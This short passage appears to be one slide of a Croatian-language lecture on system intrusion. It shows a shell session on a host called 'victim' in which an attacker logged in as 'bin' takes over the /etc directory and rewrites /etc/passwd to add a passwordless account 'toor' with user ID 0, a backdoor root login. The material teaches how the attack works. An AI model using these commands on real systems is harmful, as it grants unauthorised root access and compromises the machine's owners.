Upad na sistem (8)
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
ne zaboravite - na stroj smo ušli kao “bin” koji je vlasnik /etc direktorija
dodali smo korisnika s identifikacijom “0” koji ima status kao i root
dalje je jednostavno - smislite sami!